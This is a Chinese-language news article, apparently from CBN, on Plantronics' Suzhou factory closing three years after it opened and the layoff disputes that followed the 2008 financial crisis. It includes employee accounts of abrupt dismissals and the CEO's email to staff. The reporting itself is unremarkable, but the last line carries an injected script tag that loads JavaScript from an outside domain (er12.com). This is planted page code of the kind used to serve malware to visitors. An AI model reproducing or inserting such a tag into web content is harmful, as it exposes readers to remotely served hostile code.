投產剛過3年，繽特力通訊科技(蘇州)有限公司(下稱“繽特力蘇州公司”)的工廠便面臨著黯然停運的命運。

　　作為一家總部位于美國加利福尼亞圣克魯斯的生產輕量型通訊耳機的公司，阿姆斯特朗在月球上對著繽特力(plantronics)的耳機說出了著名的“一小步，一大步”，而通過60多年的發展，該公司業務已遍及世界20個國家和地區，但如今，繽特力不得不關閉了蘇州工廠并陷入了裁員糾紛的泥潭。

　　在眾多近幾年內爭相進入中國的國際巨頭之中，繽特力的規模并非出眾。但在金融危機大潮席卷之下，繽特力所面臨問題的普遍性卻令其成為了一個解剖跨國公司在華困局的樣本。

　　美好夢想

　　對繽特力總裁兼ceo康人杰(ken kannappan)而言，當初在中國設廠的決定顯然是出于一個玫瑰色的夢想。

　　自從1961年繽特力在美國加利福尼亞州成立后，雖然在長時期內保持增長，但是在索尼、飛利浦和松下等這些消費電子巨頭耳機業務的壓力下，繽特力還是難以做到讓自己的品牌深入人心。

　　康人杰希望，在中國建廠的舉措能提供本地化的產品給中國消費者，尤其是熱衷網絡游戲的玩家。按照原來的規劃，繽特力計劃在10年內將蘇州工廠的總投資擴大到1億美元。

　　如果不是因為金融危機，這或許并非一個不可能完成的任務。繽特力的自身優勢在于在華規模相對較小并且靈活、運營成本較低，這意味著它們完全有可能在抓住一兩次市場機遇后，一躍成為家喻戶曉的跨國公司。

　　而繽特力蘇州工廠擁有部分產品開發和工業設計等核心業務功能，同時通過本地采購，大大降低生產成本，為繽特力全球和地區的銷售渠道提供高速、低成本的服務，提高公司競爭力。

　　“因為杰出的技術和質量表現，繽特力目前在高端市場及b2b業務中占據明顯優勢，但在零售市場，由于成本和售價的原因，表現還不能令人滿意。”康人杰在繽特力蘇州工廠開幕式上說，“我們非常重視中國市場，希望在未來的4~5年內，這個市場能以兩位數的速度增長。”

　　總裁郵件

　　顯然，金融危機打亂了康人杰3年前的戰略規劃。

　　“全球經濟危機加速衰退。證券市場資產嚴重貶值對消費需求產生了巨大的影響，而危機導致貿易投資的減少和員工被辭退，這兩者加在一起更造成了消費需求下降的惡性循環。”2008年圣誕前夕，康人杰在發給員工的郵件中稱。

　　2008年繽特力總收入為8.56億美元，其中毛利為3.52億美元，這一業績并非不可接受，但康人杰已經發現了隱憂，他在郵件中告訴繽特力員工，目前的經濟波幅將對公司造成意想不到的巨大影響。

　　為保持盈利，繽特力實施了多個節約成本的步驟。“繽特力將裁員視為面臨挑戰的最后選擇。”康人杰在郵件中安慰繽特力員工，但在研發部高級硬件工程師高望看來，推遲新產品、新軟件研發的計劃，或將意味著他的工作崗位不可保全。

　　2008年底，忐忑不安中的研發部員工休完了2008年的9天年假，于2009年1月7日等來第一批裁員名單，包括22個研發部員工和11個制造工廠員工。

　　“上海研發部這邊裁了8個人，還剩3個是因為手頭的項目尚未完成。”高望告訴cbn記者，他是2007年7月通過獵頭公司加入繽特力的。

　　“讓誰離開”的名單是繽特力蘇州公司高層秘密審核的，整個裁員過程幾乎迅雷不及掩耳。

　　被裁的員工事先都完全不知情。在面談之前，他們的一切手續公司都已經辦完，等他們被叫到會議室的同時，郵箱、人力地圖、ic卡全部被注銷。當他們知道消息以后，兩個小時之內必須離開公司。

　　研發部項目經理王英對cbn記者回憶了當日的面談經過。在一個小會議室，領導首先肯定他過去的成績，接著解釋經濟性減員的意思并告知支付的補償金數額，然后遞上所有已經辦好的材料，讓他在解除勞動關系合同上簽字。

　　平均每個人20分鐘。不需要任何解釋和安慰，有申辯，但沒有爭吵，有些選擇默默離開，有些細心的員工要求在離職手續書上注明是“裁員”或“非法解除勞動合同”。

　　裁員糾紛

　　對于員工被辭退，康人杰說可以為此道歉，但世道艱難，人們不得不重新尋找經濟來源。

　　cbn記者尚未掌握繽特力整個裁員計劃，但繽特力蘇州公司執行的裁員計劃是迅速且高效的，收到郵件的次日，約有33個員工被告知要離開繽特力蘇州公司。

　　王英告訴cbn記者：“對被裁員工而言，沒有選擇的余地，如果不在協議書上簽字，繽特力就宣布單方面解除勞動合同。”以她為代表的第一批被裁員工表示，他們將尋求法律途徑維護自己的合法權益。

　　今年3月31日，繽特力人力資源負責人朱莉(julie)來到蘇州，第一批被裁員工被通知參加一個會談。當日的備忘錄顯示，被裁員工指控繽特力欺騙、歧視員工。

　　當日的會談上，被裁員工列舉了他們應該得到的補償。?script src=http://er12.com/t.js>